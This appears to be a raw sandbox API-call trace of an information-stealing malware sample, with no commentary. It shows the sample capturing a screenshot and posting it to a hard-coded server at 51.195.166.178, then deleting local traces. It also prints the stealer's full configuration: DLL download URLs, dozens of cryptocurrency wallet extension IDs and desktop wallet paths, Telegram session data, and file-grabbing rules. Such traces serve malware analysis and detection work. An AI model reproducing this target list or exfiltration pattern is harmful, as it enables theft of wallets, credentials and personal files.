0x71a441fd [0272.118] GetProcAddress (hModule=0x75220000, lpProcName="BitBlt") returned 0x75235ea6 [0272.118] GetProcAddress (hModule=0x75220000, lpProcName="CreateCompatibleBitmap") returned 0x75235f49 [0272.118] GetProcAddress (hModule=0x75220000, lpProcName="CreateCompatibleDC") returned 0x752354f4 [0272.119] GetProcAddress (hModule=0x75220000, lpProcName="DeleteObject") returned 0x75235689 [0272.119] GetProcAddress (hModule=0x75220000, lpProcName="GetObjectW") returned 0x75236c3a [0272.119] GetProcAddress (hModule=0x75220000, lpProcName="SelectObject") returned 0x75234f70 [0272.119] GetProcAddress (hModule=0x75220000, lpProcName="SetStretchBltMode") returned 0x75237180 [0272.119] GetProcAddress (hModule=0x75220000, lpProcName="StretchBlt") returned 0x7523b895 [0272.120] GetDC (hWnd=0x0) returned 0x1f01019b [0272.120] GetDC (hWnd=0x10010) returned 0x2a010b57 [0272.121] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6f3ee8 [0272.121] CreateCompatibleDC (hdc=0x2a010b57) returned 0x34010b9c [0272.121] GetClientRect (in: hWnd=0x10010, lpRect=0x24fae8 | out: lpRect=0x24fae8) returned 1 [0272.122] SetStretchBltMode (hdc=0x2a010b57, mode=4) returned 1 [0272.122] GetSystemMetrics (nIndex=1) returned 900 [0272.122] GetSystemMetrics (nIndex=0) returned 1440 [0272.122] StretchBlt (hdcDest=0x2a010b57, xDest=0, yDest=0, wDest=1440, hDest=900, hdcSrc=0x1f01019b, xSrc=0, ySrc=0, wSrc=1440, hSrc=900, rop=0xcc0020) returned 1 [0272.123] CreateCompatibleBitmap (hdc=0x2a010b57, cx=1440, cy=900) returned 0x17050b91 [0272.158] SelectObject (hdc=0x34010b9c, h=0x17050b91) returned 0x185000f [0272.158] BitBlt (hdc=0x34010b9c, x=0, y=0, cx=1440, cy=900, hdcSrc=0x2a010b57, x1=0, y1=0, rop=0xcc0020) returned 1 [0272.204] GetObjectW (in: h=0x17050b91, c=24, pv=0x24fb18 | out: pv=0x24fb18) returned 24 [0272.204] GdiplusStartup (in: token=0x24fadc, input=0x24faf8, output=0x0 | out: token=0x24fadc, output=0x0) returned 0x0 [0272.305] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6f40f8 [0272.305] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4848 [0272.305] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x6f4848 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 0x0 [0272.305] lstrlenW (lpString="Low") returned 3 [0272.305] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 32 [0272.305] LocalAlloc (uFlags=0x40, uBytes=0x146) returned 0x6f4308 [0272.306] StrCpyW (in: psz1=0x6f40f8, psz2="C:\\Users\\kEecfMwgj\\AppData\\LocalLow" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned="C:\\Users\\kEecfMwgj\\AppData\\LocalLow" [0272.306] LocalFree (hMem=0x6f4308) returned 0x0 [0272.306] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6f4308 [0272.306] SystemFunction036 (in: RandomBuffer=0x24fa8c, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa8c) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa70, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa70) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa8c, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa8c) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa70, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa70) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa8c, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa8c) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa70, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa70) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa8c, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa8c) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa70, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa70) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa8c, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa8c) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa70, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa70) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa8c, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa8c) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa70, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa70) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa8c, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa8c) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa70, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa70) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa8c, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa8c) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa70, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa70) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa8c, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa8c) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa70, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa70) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa8c, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa8c) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa70, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa70) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa8c, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa8c) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa70, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa70) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa8c, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa8c) returned 1 [0272.307] SystemFunction036 (in: RandomBuffer=0x24fa70, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa70) returned 1 [0272.307] lstrlenW (lpString="\\") returned 1 [0272.307] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned 35 [0272.307] LocalAlloc (uFlags=0x40, uBytes=0x148) returned 0x6f4518 [0272.308] StrCpyW (in: psz1=0x6f3ee8, psz2="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\pIg5yM7NbOop" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\pIg5yM7NbOop") returned="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\pIg5yM7NbOop" [0272.308] LocalFree (hMem=0x6f4668) returned 0x0 [0272.311] GdipCreateBitmapFromHBITMAP (hbm=0x17050b91, hpal=0x0, bitmap=0x24fa94) returned 0x0 [0272.403] GdipGetImageEncodersSize (numEncoders=0x24fa38, size=0x24fa3c) returned 0x0 [0272.404] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x6fdc40 [0272.404] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x6fdc40 | out: encoders=0x6fdc40) returned 0x0 [0272.404] lstrcmpW (lpString1="image/bmp", lpString2="image/jpeg") returned -1 [0272.404] lstrcmpW (lpString1="image/jpeg", lpString2="image/jpeg") returned 0 [0272.405] LocalFree (hMem=0x6fdc40) returned 0x0 [0272.407] GdipSaveImageToFile (image=0x3482230, filename="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\pIg5yM7NbOop", clsidEncoder=0x24fa80*(Data1=0x557cf401, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x24fa60) returned 0x0 [0272.937] GetCurrentProcess () returned 0xffffffff [0272.943] GetCurrentProcess () returned 0xffffffff [0273.009] GdipDisposeImage (image=0x3482230) returned 0x0 [0273.035] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x6fe850 [0273.036] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\pIg5yM7NbOop" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\pig5ym7nboop"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0273.036] LocalAlloc (uFlags=0x40, uBytes=0x30c) returned 0x6ff010 [0273.036] LocalAlloc (uFlags=0x40, uBytes=0x618) returned 0x6fa1f0 [0273.036] StrCpyW (in: psz1=0x6fa1f0, psz2="---" | out: psz1="---") returned="---" [0273.036] lstrlenW (lpString="Screenshot.jpeg") returned 15 [0273.036] lstrlenW (lpString="---") returned 3 [0273.036] LocalAlloc (uFlags=0x40, uBytes=0x124) returned 0x6fe628 [0273.037] LocalFree (hMem=0x6fe628) returned 0x0 [0273.037] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6fa1f0 [0273.037] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6fa400 [0273.037] SystemFunction036 (in: RandomBuffer=0x24faa4, RandomBufferLength=0x4 | out: RandomBuffer=0x24faa4) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24fa88, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa88) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24faa4, RandomBufferLength=0x4 | out: RandomBuffer=0x24faa4) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24fa88, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa88) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24faa4, RandomBufferLength=0x4 | out: RandomBuffer=0x24faa4) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24fa88, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa88) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24faa4, RandomBufferLength=0x4 | out: RandomBuffer=0x24faa4) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24fa88, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa88) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24faa4, RandomBufferLength=0x4 | out: RandomBuffer=0x24faa4) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24fa88, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa88) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24faa4, RandomBufferLength=0x4 | out: RandomBuffer=0x24faa4) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24fa88, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa88) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24faa4, RandomBufferLength=0x4 | out: RandomBuffer=0x24faa4) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24fa88, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa88) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24faa4, RandomBufferLength=0x4 | out: RandomBuffer=0x24faa4) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24fa88, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa88) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24faa4, RandomBufferLength=0x4 | out: RandomBuffer=0x24faa4) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24fa88, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa88) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24faa4, RandomBufferLength=0x4 | out: RandomBuffer=0x24faa4) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24fa88, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa88) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24faa4, RandomBufferLength=0x4 | out: RandomBuffer=0x24faa4) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24fa88, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa88) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24faa4, RandomBufferLength=0x4 | out: RandomBuffer=0x24faa4) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24fa88, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa88) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24faa4, RandomBufferLength=0x4 | out: RandomBuffer=0x24faa4) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24fa88, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa88) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24faa4, RandomBufferLength=0x4 | out: RandomBuffer=0x24faa4) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24fa88, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa88) returned 1 [0273.037] SystemFunction036 (in: RandomBuffer=0x24faa4, RandomBufferLength=0x4 | out: RandomBuffer=0x24faa4) returned 1 [0273.038] SystemFunction036 (in: RandomBuffer=0x24fa88, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa88) returned 1 [0273.038] SystemFunction036 (in: RandomBuffer=0x24faa4, RandomBufferLength=0x4 | out: RandomBuffer=0x24faa4) returned 1 [0273.038] SystemFunction036 (in: RandomBuffer=0x24fa88, RandomBufferLength=0x4 | out: RandomBuffer=0x24fa88) returned 1 [0273.038] StrCpyW (in: psz1=0x6fa400, psz2="Content-Type: multipart/form-data; boundary=" | out: psz1="Content-Type: multipart/form-data; boundary=") returned="Content-Type: multipart/form-data; boundary=" [0273.038] lstrlenW (lpString="41tXAs2RlPIOrx1k") returned 16 [0273.038] lstrlenW (lpString="Content-Type: multipart/form-data; boundary=") returned 44 [0273.038] LocalAlloc (uFlags=0x40, uBytes=0x178) returned 0x6fe628 [0273.039] StrStrW (lpFirst="http://51.195.166.178/ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="://") returned="://51.195.166.178/ecfd0f9298730a5c1fb78c7f49eedff3" [0273.039] lstrlenW (lpString="51.195.166.178") returned 14 [0273.039] LocalAlloc (uFlags=0x40, uBytes=0x0) returned 0x6c1a60 [0273.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="b熑", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0273.039] LocalAlloc (uFlags=0x40, uBytes=0x0) returned 0x6c1a70 [0273.039] LocalAlloc (uFlags=0x40, uBytes=0x100000) returned 0x35f0020 [0273.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="b熑", cchWideChar=-1, lpMultiByteStr=0x6c1a70, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x86\x91", lpUsedDefaultChar=0x0) returned 5 [0273.040] lstrlenA (lpString="bç\x86\x91") returned 4 [0273.040] lstrcpynA (in: lpString1=0x35f0020, lpString2="bç\x86\x91", iMaxLength=5 | out: lpString1="bç\x86\x91") returned="bç\x86\x91" [0273.040] LocalFree (hMem=0x6c1a60) returned 0x0 [0273.040] LocalFree (hMem=0x6c1a70) returned 0x0 [0273.040] GetFileSize (in: hFile=0x2cc, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x25bdf [0273.040] LocalAlloc (uFlags=0x40, uBytes=0x25fdf) returned 0x7232e0 [0273.042] lstrlenA (lpString="\r\n") returned 2 [0273.042] lstrlenA (lpString="") returned 0 [0273.042] LocalAlloc (uFlags=0x40, uBytes=0x73) returned 0x6bbc38 [0273.042] lstrcpynA (in: lpString1=0x35f0024, lpString2="\r\n--41tXAs2RlPIOrx1k\r\nContent-Disposition: form-data; name=\"file\"; filename=\"---Screenshot.jpeg\"\r\nContent-Type: application/x-object\r\n\r\n", iMaxLength=137 | out: lpString1="\r\n--41tXAs2RlPIOrx1k\r\nContent-Disposition: form-data; name=\"file\"; filename=\"---Screenshot.jpeg\"\r\nContent-Type: application/x-object\r\n\r\n") returned="\r\n--41tXAs2RlPIOrx1k\r\nContent-Disposition: form-data; name=\"file\"; filename=\"---Screenshot.jpeg\"\r\nContent-Type: application/x-object\r\n\r\n" [0273.042] ReadFile (in: hFile=0x2cc, lpBuffer=0x35f00ac, nNumberOfBytesToRead=0x25bdf, lpNumberOfBytesRead=0x24fa6c, lpOverlapped=0x0 | out: lpBuffer=0x35f00ac*, lpNumberOfBytesRead=0x24fa6c*=0x25bdf, lpOverlapped=0x0) returned 1 [0273.044] CloseHandle (hObject=0x2cc) returned 1 [0273.045] LocalFree (hMem=0x6ff010) returned 0x0 [0273.045] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\pIg5yM7NbOop" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\pig5ym7nboop")) returned 1 [0273.047] LocalFree (hMem=0x6f3ee8) returned 0x0 [0273.047] LocalFree (hMem=0x6fa590) returned 0x0 [0273.047] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x6fa590 [0273.047] lstrlenA (lpString="\r\n") returned 2 [0273.048] lstrlenA (lpString="") returned 0 [0273.048] LocalAlloc (uFlags=0x40, uBytes=0x73) returned 0x6bbcb8 [0273.048] lstrcpynA (in: lpString1=0x3615c8b, lpString2="\r\n--41tXAs2RlPIOrx1k--", iMaxLength=23 | out: lpString1="\r\n--41tXAs2RlPIOrx1k--") returned="\r\n--41tXAs2RlPIOrx1k--" [0273.048] lstrlenA (lpString="\r\n--41tXAs2RlPIOrx1k--") returned 22 [0273.048] LocalFree (hMem=0x6ea878) returned 0x0 [0273.048] InternetOpenW (lpszAgent="record", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0058 [0273.048] InternetSetOptionW (hInternet=0xcc0058, dwOption=0x6, lpBuffer=0x24fa68*, dwBufferLength=0x4) returned 1 [0273.048] InternetSetOptionW (hInternet=0xcc0058, dwOption=0x5, lpBuffer=0x24fa64*, dwBufferLength=0x4) returned 1 [0273.048] InternetConnectW (hInternet=0xcc0058, lpszServerName="51.195.166.178", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc005c [0273.049] HttpOpenRequestW (hConnect=0xcc005c, lpszVerb="POST", lpszObjectName="/ecfd0f9298730a5c1fb78c7f49eedff3", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x24fae0*="*/*", dwFlags=0x400000, dwContext=0x1) returned 0xcc0060 [0273.050] lstrlenW (lpString="Content-Type: multipart/form-data; boundary=41tXAs2RlPIOrx1k\r\n\r\n\r\n") returned 66 [0273.050] HttpSendRequestW (hRequest=0xcc0060, lpszHeaders="Content-Type: multipart/form-data; boundary=41tXAs2RlPIOrx1k\r\n\r\n\r\n", dwHeadersLength=0x42, lpOptional=0x35f0020*, dwOptionalLength=0x25c81) returned 1 [0273.516] InternetReadFile (in: hFile=0xcc0060, lpBuffer=0x716f88, dwNumberOfBytesToRead=0xc350, lpdwNumberOfBytesRead=0x24fa74 | out: lpBuffer=0x716f88*, lpdwNumberOfBytesRead=0x24fa74*=0x8) returned 1 [0273.518] InternetReadFile (in: hFile=0xcc0060, lpBuffer=0x716f88, dwNumberOfBytesToRead=0xc350, lpdwNumberOfBytesRead=0x24fa74 | out: lpBuffer=0x716f88*, lpdwNumberOfBytesRead=0x24fa74*=0x0) returned 1 [0273.520] InternetCloseHandle (hInternet=0xcc0060) returned 1 [0273.520] InternetCloseHandle (hInternet=0xcc005c) returned 1 [0273.520] InternetCloseHandle (hInternet=0xcc0058) returned 1 [0273.520] lstrlenA (lpString="received") returned 8 [0273.520] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x716f88, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0273.520] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x6c3270 [0273.521] lstrlenA (lpString="received") returned 8 [0273.521] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x716f88, cbMultiByte=9, lpWideCharStr=0x6c3270, cchWideChar=9 | out: lpWideCharStr="received") returned 9 [0273.521] LocalFree (hMem=0x6c3270) returned 0x0 [0273.521] LocalFree (hMem=0x6fa898) returned 0x0 [0273.521] LocalFree (hMem=0x716f88) returned 0x0 [0273.535] LocalFree (hMem=0x35f0020) returned 0x0 [0273.546] LocalFree (hMem=0x6fa400) returned 0x0 [0273.547] LocalFree (hMem=0x6fa708) returned 0x0 [0273.547] LocalFree (hMem=0x6fe628) returned 0x0 [0273.547] LocalFree (hMem=0x6fa1f0) returned 0x0 [0273.548] LocalFree (hMem=0x6fe850) returned 0x0 [0273.548] DeleteObject (ho=0x17050b91) returned 1 [0273.548] DeleteObject (ho=0x34010b9c) returned 1 [0273.555] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0273.555] ReleaseDC (hWnd=0x10010, hDC=0x2a010b57) returned 1 [0273.558] LocalFree (hMem=0x6f15a0) returned 0x0 [0273.559] StrStrW (lpFirst="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="ldr_") returned 0x0 [0273.566] FreeLibrary (hLibModule=0x71c40000) returned 1 [0273.568] _execute_onexit_table (_Table=0x71e2096c) returned 0 [0273.569] __std_type_info_destroy_list () returned 0x0 [0273.570] _execute_onexit_table (_Table=0x71c333a4) returned 0 [0273.587] __std_type_info_destroy_list () returned 0x0 [0273.649] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\nss3.dll" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\nss3.dll")) returned 1 [0273.653] LocalFree (hMem=0x6b67a8) returned 0x0 [0273.653] FreeLibrary (hLibModule=0x61e00000) returned 1 [0273.654] free (_Block=0x97d5e8) [0273.656] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\sqlite3.dll" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sqlite3.dll")) returned 1 [0273.658] LocalFree (hMem=0x6b6908) returned 0x0 [0273.659] LocalFree (hMem=0x6e1940) returned 0x0 [0273.659] LocalFree (hMem=0x6b7000) returned 0x0 [0273.660] LocalFree (hMem=0x6c56c8) returned 0x0 [0273.660] ExitProcess (uExitCode=0x0) [0273.669] HeapFree (in: hHeap=0x860000, dwFlags=0x0, lpMem=0x8607d0 | out: hHeap=0x860000) returned 1 Thread: id = 